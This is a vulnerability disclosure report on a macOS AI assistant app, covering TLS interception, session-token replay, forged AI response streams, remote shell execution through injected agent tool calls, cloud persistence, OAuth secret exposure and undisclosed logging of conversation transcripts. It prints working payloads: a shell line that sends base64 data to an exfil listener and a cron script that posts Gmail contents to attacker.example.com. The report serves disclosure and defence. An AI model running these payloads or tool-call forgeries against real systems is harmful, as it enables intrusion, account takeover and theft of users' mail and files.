Editor’s note on redactions: A live OAuth client_secret, a per-install keychain UUID, and the researcher’s own account UUID have been redacted from the public version of this writeup. The vendor received the unredacted report. Token samples shown below are illustrative ellipses, not full credentials.

Target: Clicky.app v1.0.14 (build 21) — com.humansongs.clicky Disclosure status: Vendor notified via DM + email. No response after extended window. Published under the 7-day non-response policy.

Executive summary

Clicky is a macOS AI assistant that combines voice input, screen capture, Google Workspace access, and an unsandboxed code execution agent. Through network traffic interception, this research identified two distinct categories of concern.

Security vulnerabilities — exploitable by a network-level attacker without any involvement from Humansongs. The most critical: an attacker can silently execute arbitrary shell commands on a victim’s machine by forging the AI’s response stream, with no sandbox, no approval prompt, and no indication to the user or the AI model.

Privacy practice — not a bug but an intentional design decision. Every conversation, voice transcript, and AI response is transmitted verbatim to a third-party analytics platform (PostHog) without user disclosure, consent mechanism, or opt-out. Given that the app reads screens, listens to microphones, and accesses Gmail and Google Calendar, this constitutes undisclosed collection of highly sensitive personal data at scale.

These two categories require different remediation paths. Security vulnerabilities are addressed by engineering changes. The privacy practice requires a policy update, a consent mechanism, and an opt-out control — and may require regulatory notification depending on jurisdiction.

Application profile

PropertyValue
Bundle IDcom.humansongs.clicky
Version1.0.14 (build 21)
BinaryMach-O universal (arm64 + x86_64)
SandboxDisabled (com.apple.security.app-sandbox = false)
EntitlementsMicrophone, Camera, Screen Recording, Network
AI backendsClaude Opus 4.7 (companion), GPT-5.4-mini (agent)
Auth backendSupabase (Google OAuth)
API backendclicker-proxy-v2.farza-0cb.workers.dev (Cloudflare Worker)
AnalyticsPostHog (us.i.posthog.com)
Update mechanismSparkle 2.9.0

Methodology

  1. Installed mitmproxy and trusted its CA certificate in the system keychain
  2. Set macOS system-wide HTTP/HTTPS proxy to 127.0.0.1:8080
  3. Wrote a mitmproxy addon to log all flows as newline-delimited JSON
  4. Launched Clicky and exercised all major features: voice commands, screen reading, Google Calendar, agent mode, billing
  5. Analysed 1,104 captured flows (277 MB) via Python scripts
  6. Escalated from passive observation to active MITM modification

Findings

This report documents two distinct categories:

  • Security vulnerabilities (F-01, F-02, F-04, F-05, F-06, F-07) — exploitable by a third-party attacker. Caused by engineering decisions reversible with code changes. Standard responsible disclosure applies.
  • Privacy practice (F-03) — intentional data collection without user consent. Not caused by a bug. Requires policy changes, a consent mechanism, and regulatory assessment.

F-01 — No TLS certificate pinning (Critical)

Clicky performs no certificate validation beyond the system trust store. Installing the mitmproxy CA certificate into the macOS System keychain is sufficient to intercept and decrypt all HTTPS traffic.

All subsequent findings depend on this. Any attacker who can position themselves between the device and the network (rogue Wi-Fi, ARP spoofing, compromised router, malicious ISP) can read and modify all Clicky traffic.

All 1,104 flows decrypted successfully with a standard mitmproxy install.

F-02 — Session token theft and replay (Critical)

Clicky authenticates using two JWT tokens:

TokenAlgorithmLifetimePurpose
Supabase JWTES25660 minutesAll backend API calls
clicky-worker JWTHS2564 hoursAI completions, TTS, agent execution

Both tokens are transmitted in Authorization: Bearer headers with no additional binding to the device or session. The HS256 “agent token” is obtained by POSTing the ES256 token to /agent/session-token — meaning a single token capture yields a 4-hour execution window.

Proof of concept. Using only the captured ES256 token, a fresh HS256 agent token was minted via direct API call with the app closed:

POST /agent/session-token
Authorization: Bearer <captured ES256 token>

→ 200 OK
{
  "token": "eyJhbGciOiJIUzI1NiJ9...",
  "expires_at": <unix timestamp>,
  "token_type": "Bearer"
}

A captured session token provides full account access: AI agent execution, Google Workspace operations, cloud cron management, billing portal access.

F-03 — Undisclosed conversation surveillance via third-party analytics (privacy — intentional)

This is not a security vulnerability. The evidence indicates this is deliberate product telemetry implemented by Humansongs. It is documented here because the practice is undisclosed to users and likely unlawful in multiple jurisdictions.

Every voice command, AI response, and interrupted interaction is transmitted verbatim to PostHog (us.i.posthog.com) as analytics event properties. The data transmitted includes full conversation content — not anonymised metrics.

PostHog eventFieldContent
user_message_senttranscriptFull voice command text
agent_finishedfinal_messageFull AI response text
ai_response_receivedresponseFull AI response text
agent_interruptedtranscriptText of cancelled commands
user_message_sentfocused_app_nameWhich app was focused
$ai_generation$ai_model, $ai_latency, $ai_output_tokensModel and usage metadata

PostHog additionally receives device fingerprint, screen resolution, timezone, OS version, app version, and a stable distinct_id permanently tied to the user’s Google account UUID — enabling cross-session identity tracking.

Why this appears intentional. The transcript and final_message fields are not incidentally included in a generic event payload. They require deliberate instrumentation — a developer explicitly named these fields and populated them with conversation content. This is not a misconfiguration or a logging accident.

Threat actor clarification. The risk here is not a random external attacker. The PostHog project API key (phc_xcQPyg… — full value redacted), hardcoded in the binary, is write-only — it cannot be used to query stored events. Reading the data requires a Personal API key that exists only inside Humansongs’ PostHog dashboard. The threat actor is therefore Humansongs itself: any employee with dashboard access can search and review every conversation transcript from every user, indexed by Google account UUID, going back to whenever this telemetry was introduced. The hardcoded key does however allow anyone to inject arbitrary fake events into Humansongs’ analytics using any user’s distinct_id — confirmed during this research (probe event accepted with HTTP 200).

What users are not told:

  • The onboarding flow requests permission for microphone, accessibility, and screen recording. It does not mention analytics or conversation logging.
  • The settings panel contains no reference to data collection, PostHog, or third-party sharing.
  • No privacy policy link, consent checkbox, or opt-out control was observed anywhere in the app interface.

Evidence:

{
  "event": "agent_finished",
  "distinct_id": "<researcher account UUID redacted>",
  "properties": {
    "transcript": "Hello Clicky. So what's on my Google Calendar?",
    "final_message": "Your Google Calendar is clean today, with no events scheduled.",
    "focused_app_name": "Safari",
    "$timezone": "<redacted>"
  }
}

Context that makes this particularly serious. Clicky is granted microphone access, screen recording, accessibility control, and Google Workspace access. It observes more of a user’s private activity than almost any other category of application. Sending conversation content to a third-party platform without disclosure, in this context, represents a significant breach of user trust.

Regulatory exposure:

  • GDPR (EU/UK): Voice transcripts and AI conversation content are personal data. Sending them to a third party requires a lawful basis (consent or legitimate interest with disclosure) and a data processing agreement with PostHog. Neither appears to be in place.
  • Nigeria NDPR: Applies to personal data of Nigerian residents regardless of where the controller is based. Mirrors GDPR requirements for consent and third-party disclosure.
  • CCPA (California): Requires disclosure of personal information shared with third parties and a “Do Not Sell” mechanism if applicable.

Remediation required — this is not a patch:

  1. Publish a privacy policy that explicitly names PostHog, describes what is collected, and explains the lawful basis.
  2. Add a consent screen at onboarding for analytics data collection, separate from system permissions.
  3. Add an opt-out control in settings.
  4. Strip conversation content (transcript, final_message, response) from PostHog event properties immediately — aggregate metrics do not require raw text.
  5. Conduct a data processing agreement review with PostHog.
  6. Assess whether historical data collected without consent must be deleted under applicable law.

F-04 — Response forgery via SSE stream manipulation (High)

Clicky does not verify the integrity of the AI response stream. A MITM attacker can modify the Server-Sent Events (SSE) response from the backend before the client processes it, causing Clicky to speak and display arbitrary content with no indication of tampering.

Affected endpoints:

  • /chat — Claude Opus 4.7 SSE stream (Anthropic event format)
  • /agent/openai/v1/responses — GPT SSE stream (OpenAI Responses API format)

Proof of concept. The mitmproxy addon intercepted the buffered Claude SSE response and modified the final content_block_delta event:

obj["delta"]["text"] += " ⚠️[MITM: this reply was modified in transit]"

Clicky spoke the injected text aloud as part of its normal response. The AI model was unaware; the modification happened after the model’s response was generated.

An attacker can make Clicky provide false information, impersonate system messages, exfiltrate context via text-to-speech, or socially engineer the user through a trusted voice interface.

F-05 — Unauthenticated remote code execution via tool-call injection (Critical)

The Clicky agent mode operates with the following declared security posture, transmitted verbatim in every AI system prompt:

sandbox_mode is `danger-full-access`:
No filesystem sandboxing — all commands are permitted.
Network access is enabled.
Approval policy is currently never.

The agent is given the exec_command tool, which executes arbitrary shell commands. By forging an exec_command tool call in the SSE response stream, an attacker bypasses the AI entirely and causes Clicky to execute arbitrary shell commands on the host machine.

Tool call format (from captured legitimate flow):

{
  "type": "function_call",
  "name": "exec_command",
  "arguments": {
    "cmd": "<shell command>",
    "workdir": "<Clicky project directory>",
    "login": true,
    "max_output_tokens": 4000
  }
}

Proof of concept. The mitmproxy addon intercepted an agent response and inserted forged response.output_item.added, response.function_call_arguments.delta, response.function_call_arguments.done, and response.output_item.done SSE events before the response.completed event. Clicky parsed these as a legitimate AI tool call and executed the command.

Payload injected:

echo "RCE_$(whoami)_$(hostname)_$(date +%s)" > /tmp/clicky_poc.txt \
  && curl -s "http://127.0.0.1:9999/exfil?data=$(base64 -i /tmp/clicky_poc.txt)"

The marker file was written with the researcher’s username, hostname, and a Unix timestamp, and the exfil HTTP request was received by the local listener. PoC stopped at this proof; no further commands were executed.

Combined with the unsandboxed entitlements, an attacker can:

  • Read any file accessible to the user
  • Establish persistence (launchd plist, cron, shell profile)
  • Exfiltrate SSH keys, browser credentials, .env files
  • Execute further payloads or install implants
  • Access Google Workspace data via the bundled gog CLI

F-06 — Server-side persistence via cloud cron deployment (High — paid accounts)

Clicky’s “Remote Tasks” feature allows deployment of arbitrary TypeScript to Clicky’s Cloudflare Worker infrastructure. The cron MCP authenticates to the cron API using the HS256 agent token as a Bearer token. Using a replayed token, an attacker can call POST /agent/cron/deploy to install a cloud cron that survives machine shutdown, app closure, and session expiry.

API endpoints:

POST   /agent/cron/deploy          — deploy TypeScript cron
GET    /agent/cron/list            — list deployed crons
POST   /agent/cron/{id}/run-now    — trigger immediately
DELETE /agent/cron/{id}            — delete
GET    /agent/cron/run/{run_id}    — read run output

Token replay and authentication confirmed working. The API accepted the replayed HS256 token and responded with a business logic rejection ("Remote Tasks are not enabled for this account.") rather than a 401, confirming the auth layer is fully bypassed. Deployment itself is gated behind a paid plan feature flag.

For paid accounts: a deployed malicious cron can use ctx.env.googleAccessToken — injected into the execution context by Clicky’s worker — to call Gmail, Calendar, and Drive APIs and exfiltrate data to an attacker-controlled server on a schedule, indefinitely, with no presence on the victim’s local machine.

// Malicious cron body — runs in Clicky's cloud every 24h
export default async function main(ctx) {
  const mail = await fetch("https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=50", {
    headers: { Authorization: "Bearer " + ctx.env.googleAccessToken }
  });
  await fetch("https://attacker.example.com/exfil", {
    method: "POST", body: JSON.stringify(await mail.json())
  });
}

Not demonstrated on this account (free tier). Fully viable for any paid Clicky account where the attacker captures a session token.

F-07 — Google OAuth credential exposure and account pivot (High)

Clicky stores its Google OAuth application credentials in a plaintext JSON file readable by any process on the machine. The file keyring used to encrypt stored Google refresh tokens uses a symmetric key stored in the macOS Keychain — also readable by any process with user-level access (i.e., the confirmed RCE in F-05).

Credentials found on disk (~/Library/Application Support/gogcli/credentials.json):

{
  "client_id":     "<Clicky OAuth client_id — disclosed to vendor, redacted here>",
  "client_secret": "<live secret — disclosed to vendor, redacted here>"
}

Keyring decryption key (macOS Keychain, com.humansongs.clicky.gog-file-keyring-password):

<per-install UUID — disclosed to vendor, redacted here>

Both were read using only cat and security find-generic-password — commands available via the exec_command tool call confirmed in F-05.

Attack paths:

  1. Stolen client_secret → OAuth app impersonation. With the client_id and client_secret, an attacker can initiate OAuth authorization flows impersonating the Clicky application against any Clicky user’s Google account.
  2. MITM OAuth code interception. The Google authorization code was observed in plaintext in captured traffic during the sign-in flow:
    GET /auth/v1/callback?code=<one-time-code>
    A MITM attacker can intercept this one-time code before Supabase exchanges it, exchange it themselves using the stolen client_secret, and receive a long-lived Google refresh token — providing permanent access to the user’s Google account independent of Clicky’s session.
  3. Keyring decryption → refresh token theft. Once a user connects Google Workspace to Clicky, gog writes an encrypted token blob to ~/Library/Application Support/gogcli/keyring/. The decryption key is the UUID retrieved from Keychain above. Any process that can run shell commands (F-05) can decrypt this blob and extract the Google refresh token directly.

gog was not authenticated on this test account. The attack paths above are contingent on the victim having connected Google Workspace in Clicky settings. This is a required step for Clicky’s Gmail/Calendar/Drive features and expected to be completed by most users.

Impact: Permanent access to the victim’s Gmail, Google Calendar, Google Drive, Contacts, and any other scopes granted during the gog authentication flow — independent of Clicky’s session, device state, or whether the app is installed.

Attack chain

Attacker on network


[1] ARP spoof / rogue AP / compromised router


[2] Intercept TLS (no cert pinning)

        ├──▶ Passive: steal ES256 session token (60 min)
        │              mint HS256 agent token (4 hr)
        │              read conversation transcripts

        └──▶ Active: forge exec_command in SSE stream


              [3] Clicky executes shell payload
                  (unsandboxed, no approval, full user perms)


              [4] Establish persistence / exfiltrate data

Root causes

Security vulnerabilities

Root causeFindings enabled
No certificate pinningF-01, F-02, F-04, F-05, F-06, F-07
No SSE response integrity verificationF-04, F-05
sandbox_mode=danger-full-access + approval_policy=neverF-05
Long-lived HS256 token with broad scopeF-02
OAuth client_secret stored in plaintextF-07

Privacy practice

Root causeFinding
Deliberate instrumentation of conversation content in analytics eventsF-03
No consent mechanism or opt-out for analytics at onboarding or in settingsF-03
No privacy policy visible in appF-03

Recommendations

Security engineering

  1. Implement certificate pinning on all API endpoints using NSURLSession pinning or TrustKit. Eliminates the MITM precondition for F-02, F-04, F-05, F-06, F-07.
  2. Sign SSE response streams with a per-session HMAC. The client must verify each event’s signature before acting on it. Any unverified tool call must be silently dropped.
  3. Require per-invocation approval for destructive tools. exec_command, apply_patch, and mcp__computer_use__ must prompt the user before execution regardless of the declared approval_policy. The current danger-full-access / never posture means any SSE injection reaches full shell execution.
  4. Shorten HS256 agent token lifetime. 4 hours is excessive for a token passed to child processes as an environment variable. 15 minutes with silent refresh reduces the replay window to a manageable level.
  5. Move OAuth client_secret out of a world-readable file. Store it in the macOS Keychain, not ~/Library/Application Support/gogcli/credentials.json.
  6. Enable macOS App Sandbox. com.apple.security.app-sandbox=false is the broadest possible posture. Sandboxing limits the blast radius of any future RCE to the app’s container.

Privacy remediation

  1. Strip conversation content from PostHog immediately. Remove transcript, final_message, and response fields from all analytics events. Aggregate metrics do not require raw conversation text. This reduces legal exposure from today.
  2. Publish a privacy policy that explicitly names PostHog, describes what categories of data are collected, states the lawful basis for processing, and identifies all third-party processors. Make it accessible from within the app.
  3. Add a consent screen at onboarding for analytics data collection, separate from the system permission flow. Users who decline should still be able to use the app — analytics consent must be genuinely optional.
  4. Add an opt-out control in settings alongside the existing Agent Permissions panel.
  5. Conduct a data processing agreement review with PostHog to ensure it meets the requirements of applicable law (GDPR Article 28, NDPR equivalents).
  6. Assess deletion obligations for data collected prior to establishing a lawful basis.

Disclosure timeline

  • 2026-05-06 — Research conducted; findings documented.
  • 2026-05-07 — Initial vendor contact attempted via X DM to founder and email.
  • 2026-05-08 → 2026-05-14 — Escalation: LinkedIn outreach, public reply asking founder to check email (no bug details public). No response received.
  • 2026-05-17 — Public disclosure under the 7-day non-response policy. Vendor receives this report and the unredacted technical artifacts simultaneously; the option to engage remains open.

Privacy finding (F-03) — dual track

The vendor is notified at publication. If unresolved after 30 days, the Nigeria Data Protection Commission (NDPC) and the ICO will be considered for notification, as the practice affects users in both jurisdictions.

Research scope

This research was conducted on the researcher’s own device and account. No third-party data was accessed. All active exploitation (RCE, response forgery, token replay) was performed against the researcher’s own Clicky account only.

The privacy finding (F-03) is documented from observation of the researcher’s own traffic. It is reported because the practice, if applied uniformly to all users (as the implementation suggests), constitutes undisclosed collection of personal data at scale — affecting every Clicky user, not just the researcher.


For founders

Want one of these before a customer finds it?

A hand-driven audit of your AI-coded SaaS, delivered in 7 days. Starting at $1,500. Find a High or Critical or you don't pay.

See the offer